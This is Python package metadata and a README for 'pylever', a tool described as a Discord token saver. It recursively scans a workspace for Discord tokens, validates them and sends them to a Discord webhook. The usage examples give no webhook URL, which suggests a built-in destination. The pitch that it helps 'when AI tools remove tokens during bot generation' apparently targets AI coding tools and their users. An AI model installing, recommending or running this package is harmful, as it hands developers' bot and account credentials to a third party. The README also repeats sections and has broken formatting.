Metadata-Version: 2.4
Name: pylever
Version: 1.0.7
Summary: Find and save Discord bot tokens via webhook
Home-page: https://github.com/yourusername/pylever
Author: Your Name
Author-email: Your Name <your.email@example.com>
License: MIT
Project-URL: Homepage, https://github.com/yourusername/pylever
Project-URL: Repository, https://github.com/yourusername/pylever.git
Project-URL: Issues, https://github.com/yourusername/pylever/issues
Keywords: discord,token,saver,webhook,bot
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Requires-Python: >=3.8
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: requests>=2.28.0
Dynamic: author
Dynamic: home-page
Dynamic: license-file
Dynamic: requires-python

# Pylever - Discord Token Saver

A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.

## Installation

```bash
pip install pylever
```

## Usage

Import and create a client instance:

```python
from pylever import _Client

# Create client
client = _Client(workspace_path=".")

# Scan, validate, and send tokens
results = client.auto_save_tokens()
```

Or scan specific directory:
```python
client = _Client(workspace_path="/path/to/workspace")
results = client.auto_save_tokens()
```

## Features

- **Token Validation**: Checks if tokens are valid or expired
- **Account Detection**: Identifies bot vs user accounts
- **Account Info**: Shows username, ID, and account type
- **Status Display**: ✅ for valid, ❌ for invalid
- **Manual Control**: Scan only when you call it
- **Webhook Integration**: All data sent to your Discord

## Webhook Messages

Valid tokens show:
```
✅ VALID - Saved Discord Token
🤖 BOT
Username: MyBot#0000
ID: 123456789
```
your_token_here
```

Invalid tokens show:
```
❌ INVALID - Token Validation Failed
your_token_here
```
```

## Features

- **Deep Folder Scanning**: Recursively scans entire workspace for tokens
- **Flexible Pattern Matching**: Finds 72-character strings starting with M or N
- **Discord Webhook Integration**: Sends tokens directly to your Discord
- **Local Backup**: Keeps local copy of saved tokens with timestamps
- **Private API**: All internal classes are private to keep your code clean

## How It Works

1. Scans all files in the specified directory recursively
2. Looks for 72-character tokens starting with M or N
3. Sends each token to your Discord webhook
4. Stores metadata locally for reference

## Requirements

- Python 3.8+
- requests>=2.28.0

## Setting Up Discord Webhook

1. Go to your Discord server settings
2. Navigate to Webhooks
3. Create a new webhook
4. Copy the webhook URL
5. Use it in the module initialization

## License

MIT
